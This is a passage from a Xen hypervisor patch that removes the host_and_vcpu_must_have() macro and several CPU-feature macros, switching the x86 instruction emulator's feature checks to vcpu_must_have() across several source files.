 #define cpu_has_avx512bw        boot_cpu_has(X86_FEATURE_AVX512BW)
-#define cpu_has_avx512vl        boot_cpu_has(X86_FEATURE_AVX512VL)
 
 /* CPUID level 0x00000007:0.ecx */
-#define cpu_has_avx512_vbmi     boot_cpu_has(X86_FEATURE_AVX512_VBMI)
 #define cpu_has_pku             boot_cpu_has(X86_FEATURE_PKU)
-#define cpu_has_avx512_vbmi2    boot_cpu_has(X86_FEATURE_AVX512_VBMI2)
-#define cpu_has_gfni            boot_cpu_has(X86_FEATURE_GFNI)
-#define cpu_has_vaes            boot_cpu_has(X86_FEATURE_VAES)
-#define cpu_has_vpclmulqdq      boot_cpu_has(X86_FEATURE_VPCLMULQDQ)
-#define cpu_has_avx512_vnni     boot_cpu_has(X86_FEATURE_AVX512_VNNI)
-#define cpu_has_avx512_bitalg   boot_cpu_has(X86_FEATURE_AVX512_BITALG)
-#define cpu_has_avx512_vpopcntdq boot_cpu_has(X86_FEATURE_AVX512_VPOPCNTDQ)
 #define cpu_has_rdpid           boot_cpu_has(X86_FEATURE_RDPID)
-#define cpu_has_movdiri         boot_cpu_has(X86_FEATURE_MOVDIRI)
-#define cpu_has_movdir64b       boot_cpu_has(X86_FEATURE_MOVDIR64B)
-#define cpu_has_enqcmd          boot_cpu_has(X86_FEATURE_ENQCMD)
 #define cpu_has_pks             boot_cpu_has(X86_FEATURE_PKS)
 
 /* CPUID level 0x80000007.edx */
@@ -241,38 +205,23 @@ static inline bool boot_cpu_has(unsigned
 #define cpu_has_auto_ibrs       boot_cpu_has(X86_FEATURE_AUTO_IBRS)
 
 /* CPUID level 0x00000007:0.edx */
-#define cpu_has_avx512_vp2intersect boot_cpu_has(X86_FEATURE_AVX512_VP2INTERSECT)
 #define cpu_has_srbds_ctrl      boot_cpu_has(X86_FEATURE_SRBDS_CTRL)
 #define cpu_has_md_clear        boot_cpu_has(X86_FEATURE_MD_CLEAR)
 #define cpu_has_rtm_always_abort boot_cpu_has(X86_FEATURE_RTM_ALWAYS_ABORT)
 #define cpu_has_tsx_force_abort boot_cpu_has(X86_FEATURE_TSX_FORCE_ABORT)
-#define cpu_has_serialize       boot_cpu_has(X86_FEATURE_SERIALIZE)
 #define cpu_has_hybrid          boot_cpu_has(X86_FEATURE_HYBRID)
-#define cpu_has_avx512_fp16     boot_cpu_has(X86_FEATURE_AVX512_FP16)
 #define cpu_has_arch_caps       boot_cpu_has(X86_FEATURE_ARCH_CAPS)
 
 /* CPUID level 0x00000007:1.eax */
-#define cpu_has_sha512          boot_cpu_has(X86_FEATURE_SHA512)
-#define cpu_has_sm3             boot_cpu_has(X86_FEATURE_SM3)
-#define cpu_has_sm4             boot_cpu_has(X86_FEATURE_SM4)
-#define cpu_has_avx_vnni        boot_cpu_has(X86_FEATURE_AVX_VNNI)
-#define cpu_has_avx512_bf16     boot_cpu_has(X86_FEATURE_AVX512_BF16)
-#define cpu_has_cmpccxadd       boot_cpu_has(X86_FEATURE_CMPCCXADD)
 #define cpu_has_fred            boot_cpu_has(X86_FEATURE_FRED)
 #define cpu_has_lkgs            boot_cpu_has(X86_FEATURE_LKGS)
 #define cpu_has_nmi_src         boot_cpu_has(X86_FEATURE_NMI_SRC)
-#define cpu_has_avx_ifma        boot_cpu_has(X86_FEATURE_AVX_IFMA)
 
 /* CPUID level 0x80000021.eax */
 #define cpu_has_lfence_dispatch boot_cpu_has(X86_FEATURE_LFENCE_DISPATCH)
 #define cpu_has_verw_clear      boot_cpu_has(X86_FEATURE_VERW_CLEAR)
 #define cpu_has_nscb            boot_cpu_has(X86_FEATURE_NSCB)
 
-/* CPUID level 0x00000007:1.edx */
-#define cpu_has_avx_vnni_int8   boot_cpu_has(X86_FEATURE_AVX_VNNI_INT8)
-#define cpu_has_avx_ne_convert  boot_cpu_has(X86_FEATURE_AVX_NE_CONVERT)
-#define cpu_has_avx_vnni_int16  boot_cpu_has(X86_FEATURE_AVX_VNNI_INT16)
-
 /* MSR_ARCH_CAPS */
 #define cpu_has_rdcl_no         boot_cpu_has(X86_FEATURE_RDCL_NO)
 #define cpu_has_eibrs           boot_cpu_has(X86_FEATURE_EIBRS)
--- a/xen/arch/x86/x86_emulate/0f01.c
+++ b/xen/arch/x86/x86_emulate/0f01.c
@@ -121,7 +121,7 @@ int x86emul_0f01(struct x86_emulate_stat
         switch ( s->vex.pfx )
         {
         case vex_none: /* serialize */
-            host_and_vcpu_must_have(serialize);
+            vcpu_must_have(serialize);
             asm volatile ( ".byte 0x0f, 0x01, 0xe8" ); /* Binutils >= 2.34, Clang >= 11 */
             break;
         case vex_f2: /* xsusldtrk */
--- a/xen/arch/x86/x86_emulate/0fc7.c
+++ b/xen/arch/x86/x86_emulate/0fc7.c
@@ -33,7 +33,7 @@ int x86emul_0fc7(struct x86_emulate_stat
 
         case 6: /* rdrand */
             generate_exception_if(s->vex.pfx >= vex_f3, X86_EXC_UD);
-            host_and_vcpu_must_have(rdrand);
+            vcpu_must_have(rdrand);
             *dst = s->ea;
             switch ( s->op_bytes )
             {
@@ -75,7 +75,7 @@ int x86emul_0fc7(struct x86_emulate_stat
             }
 
             generate_exception_if(s->vex.pfx >= vex_f3, X86_EXC_UD);
-            host_and_vcpu_must_have(rdseed);
+            vcpu_must_have(rdseed);
             *dst = s->ea;
             switch ( s->op_bytes )
             {
@@ -112,7 +112,7 @@ int x86emul_0fc7(struct x86_emulate_stat
         fail_if(!ops->cmpxchg);
         if ( s->rex_prefix & REX_W )
         {
-            host_and_vcpu_must_have(cx16);
+            vcpu_must_have(cx16);
             generate_exception_if(!is_aligned(s->ea.mem.seg, s->ea.mem.off, 16,
                                               ctxt, ops),
                                   X86_EXC_GP, 0);
--- a/xen/arch/x86/x86_emulate/fpu.c
+++ b/xen/arch/x86/x86_emulate/fpu.c
@@ -96,13 +96,13 @@ int x86emul_fpu(struct x86_emulate_state
         unsigned long dummy;
 
     case 0x9b:  /* wait/fwait */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_wait);
         emulate_fpu_insn_stub(b);
         break;
 
     case 0xd8: /* FPU 0xd8 */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -128,7 +128,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xd9: /* FPU 0xd9 */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -229,7 +229,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xda: /* FPU 0xda */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -250,7 +250,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xdb: /* FPU 0xdb */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -279,7 +279,7 @@ int x86emul_fpu(struct x86_emulate_state
             case 0: /* fild m32i */
                 goto fpu_memsrc32;
             case 1: /* fisttp m32i */
-                host_and_vcpu_must_have(sse3);
+                vcpu_must_have(sse3);
                 /* fall through */
             case 2: /* fist m32i */
             case 3: /* fistp m32i */
@@ -308,7 +308,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xdc: /* FPU 0xdc */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -334,7 +334,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xdd: /* FPU 0xdd */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -353,7 +353,7 @@ int x86emul_fpu(struct x86_emulate_state
             case 0: /* fld m64fp */;
                 goto fpu_memsrc64;
             case 1: /* fisttp m64i */
-                host_and_vcpu_must_have(sse3);
+                vcpu_must_have(sse3);
                 /* fall through */
             case 2: /* fst m64fp */
             case 3: /* fstp m64fp */
@@ -399,7 +399,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xde: /* FPU 0xde */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -421,7 +421,7 @@ int x86emul_fpu(struct x86_emulate_state
         break;
 
     case 0xdf: /* FPU 0xdf */
-        host_and_vcpu_must_have(fpu);
+        vcpu_must_have(fpu);
         get_fpu(X86EMUL_FPU_fpu);
         switch ( s->modrm )
         {
@@ -451,7 +451,7 @@ int x86emul_fpu(struct x86_emulate_state
             case 0: /* fild m16i */
                 goto fpu_memsrc16;
             case 1: /* fisttp m16i */
-                host_and_vcpu_must_have(sse3);
+                vcpu_must_have(sse3);
                 /* fall through */
             case 2: /* fist m16i */
             case 3: /* fistp m16i */
--- a/xen/arch/x86/x86_emulate/private.h
+++ b/xen/arch/x86/x86_emulate/private.h
@@ -619,26 +619,6 @@ amd_like(const struct x86_emulate_ctxt *
 #define vcpu_must_have(feat) \
     generate_exception_if(!vcpu_has_##feat(), X86_EXC_UD)
 
-#ifdef __XEN__
-/*
- * Note the difference between vcpu_must_have(<feature>) and
- * host_and_vcpu_must_have(<feature>): The latter needs to be used when
- * emulation code is using the same instruction class for carrying out
- * the actual operation.
- */
-# define host_and_vcpu_must_have(feat) ({ \
-    generate_exception_if(!cpu_has_##feat, X86_EXC_UD); \
-    vcpu_must_have(feat); \
-})
-#else
-/*
- * For the test harness both are fine to be used interchangeably, i.e.
- * features known to always be available (e.g. SSE/SSE2) to (64-bit) Xen
- * may be checked for by just vcpu_must_have().
- */
-# define host_and_vcpu_must_have(feat) vcpu_must_have(feat)
-#endif
-
 /*
  * Instruction emulation:
  * Most instructions are emulated directly via a fragment of inline assembly
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -1161,7 +1161,7 @@ static unsigned long *decode_vex_gpr(
         break; \
     case 0: case 1: \
         if ( !(lig) ) \
-            host_and_vcpu_must_have(avx512vl); \
+            vcpu_must_have(avx512vl); \
         break; \
     } \
 } while ( false )
@@ -3219,15 +3219,15 @@ x86_emulate(
 #ifndef X86EMUL_NO_MMX
 
     case X86EMUL_OPC(0x0f, 0x0e): /* femms */
-        host_and_vcpu_must_have(3dnow);
+        vcpu_must_have(3dnow);
         asm volatile ( "femms" );
         break;
 
     case X86EMUL_OPC(0x0f, 0x0f): /* 3DNow! */
         if ( _3dnow_table[(imm1 >> 4) & 0xf] & (1 << (imm1 & 0xf)) )
-            host_and_vcpu_must_have(3dnow);
+            vcpu_must_have(3dnow);
         else if ( _3dnow_ext_table[(imm1 >> 4) & 0xf] & (1 << (imm1 & 0xf)) )
-            host_and_vcpu_must_have(3dnow_ext);
+            vcpu_must_have(3dnow_ext);
         else
             generate_exception(X86_EXC_UD);
 
@@ -3304,7 +3304,7 @@ x86_emulate(
 #endif
 
     CASE_SIMD_SCALAR_FP(, 0x0f, 0x2b):     /* movnts{s,d} xmm,mem */
-        host_and_vcpu_must_have(sse4a);
+        vcpu_must_have(sse4a);
         /* fall through */
     CASE_SIMD_PACKED_FP_VEX(0x0f, 0x2b):   /* movntp{s,d} xmm,m128 */
                                            /* vmovntp{s,d} {x,y}mm,mem */
@@ -3375,7 +3375,7 @@ x86_emulate(
             if ( (b & ~1) == 0x10 && ea.type == OP_MEM )
                 d |= TwoOp;
     simd_0f_avx:
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
     simd_0f_ymm:
             get_fpu(X86EMUL_FPU_ymm);
         }
@@ -3423,7 +3423,7 @@ x86_emulate(
                                (ea.type != OP_REG && evex.brs &&
                                 (evex.pfx & VEX_PREFIX_SCALAR_MASK))),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(evex.pfx & VEX_PREFIX_SCALAR_MASK);
     simd_zmm:
@@ -3479,7 +3479,7 @@ x86_emulate(
         generate_exception_if((evex.lr || evex.opmsk || evex.brs ||
                                evex.w != (evex.pfx & VEX_PREFIX_DOUBLE_MASK)),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( (d & DstMask) != DstMem )
             d &= ~TwoOp;
         op_bytes = 8;
@@ -3497,7 +3497,7 @@ x86_emulate(
     simd_0f_sse3_avx:
         if ( vex.opcx != vex_none )
             goto simd_0f_avx;
-        host_and_vcpu_must_have(sse3);
+        vcpu_must_have(sse3);
         goto simd_0f_xmm;
 
     case X86EMUL_OPC_EVEX_F3(0x0f, 0x12):   /* vmovsldup [xyz]mm/mem,[xyz]mm{k} */
@@ -3506,7 +3506,7 @@ x86_emulate(
         generate_exception_if((evex.brs ||
                                evex.w != (evex.pfx & VEX_PREFIX_DOUBLE_MASK)),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         avx512_vlen_check(false);
         d |= TwoOp;
         op_bytes = !(evex.pfx & VEX_PREFIX_DOUBLE_MASK) || evex.lr
@@ -3543,7 +3543,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x64): /* vpblendm{d,q} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x65): /* vblendmp{s,d} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     avx512f_no_sae:
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(ea.type != OP_MEM && evex.brs, X86_EXC_UD);
         avx512_vlen_check(false);
         goto simd_zmm;
@@ -3584,7 +3584,7 @@ x86_emulate(
     case X86EMUL_OPC(0x0f, 0x2a):          /* cvtpi2ps mm/m64,xmm */
     CASE_SIMD_PACKED_FP(, 0x0f, 0x2c):     /* cvttp{s,d}2pi xmm/mem,mm */
     CASE_SIMD_PACKED_FP(, 0x0f, 0x2d):     /* cvtp{s,d}2pi xmm/mem,mm */
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
         }
         op_bytes = (b & 4) && (vex.pfx & VEX_PREFIX_DOUBLE_MASK) ? 16 : 8;
         goto simd_0f_fp;
@@ -3602,7 +3602,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
 
@@ -3623,13 +3623,13 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_F3(5, 0x2a):      /* vcvtsi2sh r/m,xmm,xmm */
     case X86EMUL_OPC_EVEX_F3(5, 0x7b):      /* vcvtusi2sh r/m,xmm,xmm */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         /* fall through */
     CASE_SIMD_SCALAR_FP(_EVEX, 0x0f, 0x2a): /* vcvtsi2s{s,d} r/m,xmm,xmm */
     CASE_SIMD_SCALAR_FP(_EVEX, 0x0f, 0x7b): /* vcvtusi2s{s,d} r/m,xmm,xmm */
         generate_exception_if(evex.opmsk || (ea.type != OP_REG && evex.brs),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( !evex.brs )
             avx512_vlen_check(true);
         get_fpu(X86EMUL_FPU_zmm);
@@ -3684,7 +3684,7 @@ x86_emulate(
         else
         {
             generate_exception_if(vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
 
             /* Work around erratum BT230. */
@@ -3742,7 +3742,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F3(5, 0x2d):      /* vcvtsh2si xmm/mem,reg */
     case X86EMUL_OPC_EVEX_F3(5, 0x78):      /* vcvttsh2usi xmm/mem,reg */
     case X86EMUL_OPC_EVEX_F3(5, 0x79):      /* vcvtsh2usi xmm/mem,reg */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         /* fall through */
     CASE_SIMD_SCALAR_FP(_EVEX, 0x0f, 0x2c): /* vcvtts{s,d}2si xmm/mem,reg */
     CASE_SIMD_SCALAR_FP(_EVEX, 0x0f, 0x2d): /* vcvts{s,d}2si xmm/mem,reg */
@@ -3752,7 +3752,7 @@ x86_emulate(
                                evex.opmsk ||
                                (ea.type != OP_REG && evex.brs)),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( !evex.brs )
             avx512_vlen_check(true);
         get_fpu(X86EMUL_FPU_zmm);
@@ -3772,7 +3772,7 @@ x86_emulate(
         else
         {
             generate_exception_if(vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
 
@@ -3818,7 +3818,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX(5, 0x2e): /* vucomish xmm/m16,xmm */
     case X86EMUL_OPC_EVEX(5, 0x2f): /* vcomish xmm/m16,xmm */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         /* fall through */
     CASE_SIMD_PACKED_FP(_EVEX, 0x0f, 0x2e): /* vucomis{s,d} xmm/mem,xmm */
@@ -3827,7 +3827,7 @@ x86_emulate(
                                (ea.type != OP_REG && evex.brs) ||
                                evex.w != evex.pfx),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( !evex.brs )
             avx512_vlen_check(true);
         get_fpu(X86EMUL_FPU_zmm);
@@ -3971,7 +3971,7 @@ x86_emulate(
 
     case X86EMUL_OPC_VEX(0x0f, 0x4a):    /* kadd{w,q} k,k,k */
         if ( !vex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         /* fall through */
     case X86EMUL_OPC_VEX(0x0f, 0x41):    /* kand{w,q} k,k,k */
     case X86EMUL_OPC_VEX_66(0x0f, 0x41): /* kand{b,d} k,k,k */
@@ -3987,11 +3987,11 @@ x86_emulate(
         generate_exception_if(!vex.l, X86_EXC_UD);
     opmask_basic:
         if ( vex.w )
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         else if ( vex.pfx )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
     opmask_common:
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(!vex.r || (mode_64bit() && !(vex.reg & 8)) ||
                               ea.type != OP_REG, X86_EXC_UD);
 
@@ -4016,7 +4016,7 @@ x86_emulate(
 
     case X86EMUL_OPC_VEX(0x0f, 0x4b):    /* kunpck{w,d}{d,q} k,k,k */
         generate_exception_if(!vex.l, X86_EXC_UD);
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         goto opmask_common;
 
     case X86EMUL_OPC_VEX_66(0x0f, 0x4b): /* kunpckbw k,k,k */
@@ -4051,7 +4051,7 @@ x86_emulate(
             {
                 if ( b != 0x50 )
                 {
-                    host_and_vcpu_must_have(mmx);
+                    vcpu_must_have(mmx);
                     vcpu_must_have(mmxext);
                 }
                 else
@@ -4066,9 +4066,9 @@ x86_emulate(
         {
             generate_exception_if(vex.reg != 0xf, X86_EXC_UD);
             if ( b == 0x50 || !vex.l )
-                host_and_vcpu_must_have(avx);
+                vcpu_must_have(avx);
             else
-                host_and_vcpu_must_have(avx2);
+                vcpu_must_have(avx2);
             get_fpu(X86EMUL_FPU_ymm);
         }
 
@@ -4088,7 +4088,7 @@ x86_emulate(
         generate_exception_if((evex.w != (evex.pfx & VEX_PREFIX_DOUBLE_MASK) ||
                                (ea.type != OP_MEM && evex.brs)),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512dq);
+        vcpu_must_have(avx512dq);
         avx512_vlen_check(false);
         goto simd_zmm;
 
@@ -4127,12 +4127,12 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F2(0x0f, 0x7a): /* vcvtudq2ps [xyz]mm/mem,[xyz]mm{k} */
                                           /* vcvtuqq2ps [xyz]mm/mem,{x,y}mm{k} */
         if ( evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         else
         {
     case X86EMUL_OPC_EVEX(0x0f, 0x78):    /* vcvttp{s,d}2udq [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX(0x0f, 0x79):    /* vcvtp{s,d}2udq [xyz]mm/mem,[xyz]mm{k} */
-            host_and_vcpu_must_have(avx512f);
+            vcpu_must_have(avx512f);
         }
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
@@ -4298,14 +4298,14 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f38, 0x45): /* vpsrlv{d,q} {x,y}mm/mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0x47): /* vpsllv{d,q} {x,y}mm/mem,{x,y}mm,{x,y}mm */
     simd_0f_avx2:
-            host_and_vcpu_must_have(avx2);
+            vcpu_must_have(avx2);
             goto simd_0f_ymm;
         }
         if ( vex.pfx )
             goto simd_0f_sse2;
 #endif /* !X86EMUL_NO_SIMD */
     simd_0f_mmx:
-        host_and_vcpu_must_have(mmx);
+        vcpu_must_have(mmx);
         get_fpu(X86EMUL_FPU_mmx);
         goto simd_0f_common;
 
@@ -4349,7 +4349,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x0b): /* vpmulhrsw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x1c): /* vpabsb [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x1d): /* vpabsw [xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = 1 << (b & 1);
         goto avx512f_no_sae;
@@ -4381,7 +4381,7 @@ x86_emulate(
             generate_exception_if(b != 0x27 && evex.w != (b & 1), X86_EXC_UD);
             goto avx512f_no_sae;
         }
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = 1 << (ext == ext_0f ? b & 1 : evex.w);
         avx512_vlen_check(false);
@@ -4412,7 +4412,7 @@ x86_emulate(
         if ( vex.opcx != vex_none )
         {
             generate_exception_if(vex.l || vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
         else if ( vex.pfx )
@@ -4422,7 +4422,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             get_fpu(X86EMUL_FPU_mmx);
         }
 
@@ -4454,7 +4454,7 @@ x86_emulate(
             dst.bytes = 2;
         /* fall through */
     case X86EMUL_OPC_EVEX_66(5, 0x6e): /* vmovw r/m16,xmm */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f, 0x6e): /* vmov{d,q} r/m,xmm */
@@ -4462,7 +4462,7 @@ x86_emulate(
         generate_exception_if((evex.lr || evex.opmsk || evex.brs ||
                                evex.reg != 0xf || !evex.RX),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         get_fpu(X86EMUL_FPU_zmm);
 
         opc = init_evex(stub);
@@ -4520,7 +4520,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_F2(0x0f, 0x6f): /* vmovdqu{8,16} [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_F2(0x0f, 0x7f): /* vmovdqu{8,16} [xyz]mm,[xyz]mm/mem{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         elem_bytes = 1 << evex.w;
         goto vmovdqa;
 
@@ -4558,7 +4558,7 @@ x86_emulate(
             if ( vex.l )
             {
     simd_0f_imm8_avx2:
-                host_and_vcpu_must_have(avx2);
+                vcpu_must_have(avx2);
             }
             else
             {
@@ -4572,7 +4572,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x40): /* vdpps $imm8,{x,y}mm/mem,{x,y}mm,{x,y}mm */
 #endif
     simd_0f_imm8_avx:
-                host_and_vcpu_must_have(avx);
+                vcpu_must_have(avx);
             }
     simd_0f_imm8_ymm:
             get_fpu(X86EMUL_FPU_ymm);
@@ -4585,7 +4585,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             vcpu_must_have(mmxext);
             get_fpu(X86EMUL_FPU_mmx);
         }
@@ -4613,7 +4613,7 @@ x86_emulate(
             generate_exception_if(evex.w, X86_EXC_UD);
         else
         {
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
             generate_exception_if(evex.brs, X86_EXC_UD);
         }
         d = (d & ~SrcMask) | SrcMem | TwoOp;
@@ -4643,9 +4643,9 @@ x86_emulate(
         if ( vex.opcx != vex_none )
         {
             if ( vex.l )
-                host_and_vcpu_must_have(avx2);
+                vcpu_must_have(avx2);
             else
-                host_and_vcpu_must_have(avx);
+                vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
         else if ( vex.pfx )
@@ -4655,7 +4655,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             get_fpu(X86EMUL_FPU_mmx);
         }
 
@@ -4765,7 +4765,7 @@ x86_emulate(
         if ( vex.opcx != vex_none )
         {
             generate_exception_if(vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
 
 #ifdef __x86_64__
@@ -4806,7 +4806,7 @@ x86_emulate(
         else
 #endif /* !X86EMUL_NO_SIMD */
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             get_fpu(X86EMUL_FPU_mmx);
         }
 
@@ -4832,7 +4832,7 @@ x86_emulate(
     case X86EMUL_OPC_F2(0x0f, 0x78):     /* insertq $imm8,$imm8,xmm,xmm */
         generate_exception_if(ea.type != OP_REG, X86_EXC_UD);
 
-        host_and_vcpu_must_have(sse4a);
+        vcpu_must_have(sse4a);
         get_fpu(X86EMUL_FPU_xmm);
 
         opc = init_prefixes(stub);
@@ -4846,7 +4846,7 @@ x86_emulate(
     case X86EMUL_OPC_66(0x0f, 0x79):     /* extrq xmm,xmm */
     case X86EMUL_OPC_F2(0x0f, 0x79):     /* insertq xmm,xmm */
         generate_exception_if(ea.type != OP_REG, X86_EXC_UD);
-        host_and_vcpu_must_have(sse4a);
+        vcpu_must_have(sse4a);
         op_bytes = 8;
         goto simd_0f_xmm;
 
@@ -4859,7 +4859,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F3(0x0f, 0xe6):   /* vcvtdq2pd {x,y}mm/mem,[xyz]mm{k} */
                                             /* vcvtqq2pd [xyz]mm/mem,[xyz]mm{k} */
         if ( evex.pfx != vex_f3 )
-            host_and_vcpu_must_have(avx512f);
+            vcpu_must_have(avx512f);
         else if ( evex.w )
         {
     case X86EMUL_OPC_EVEX_66(0x0f, 0x78):   /* vcvttps2uqq {x,y}mm/mem,[xyz]mm{k} */
@@ -4870,11 +4870,11 @@ x86_emulate(
                                             /* vcvttpd2qq [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f, 0x7b):   /* vcvtps2qq {x,y}mm/mem,[xyz]mm{k} */
                                             /* vcvtpd2qq [xyz]mm/mem,[xyz]mm{k} */
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         }
         else
         {
-            host_and_vcpu_must_have(avx512f);
+            vcpu_must_have(avx512f);
             /*
              * While SDM version 085 has explicit wording towards embedded
              * rounding being ignored, it's still not entirely unambiguous with
@@ -4921,7 +4921,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f, 0xd6): /* vmovq xmm,xmm/m64 */
         generate_exception_if(evex.lr || !evex.w || evex.opmsk || evex.brs,
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         d |= TwoOp;
         op_bytes = 8;
         goto simd_zmm;
@@ -4947,15 +4947,15 @@ x86_emulate(
     case X86EMUL_OPC_VEX(0x0f, 0x90):    /* kmov{w,q} k/mem,k */
     case X86EMUL_OPC_VEX_66(0x0f, 0x90): /* kmov{b,d} k/mem,k */
         generate_exception_if(vex.l || !vex.r, X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( vex.w )
         {
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
             op_bytes = 4 << !vex.pfx;
         }
         else if ( vex.pfx )
         {
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
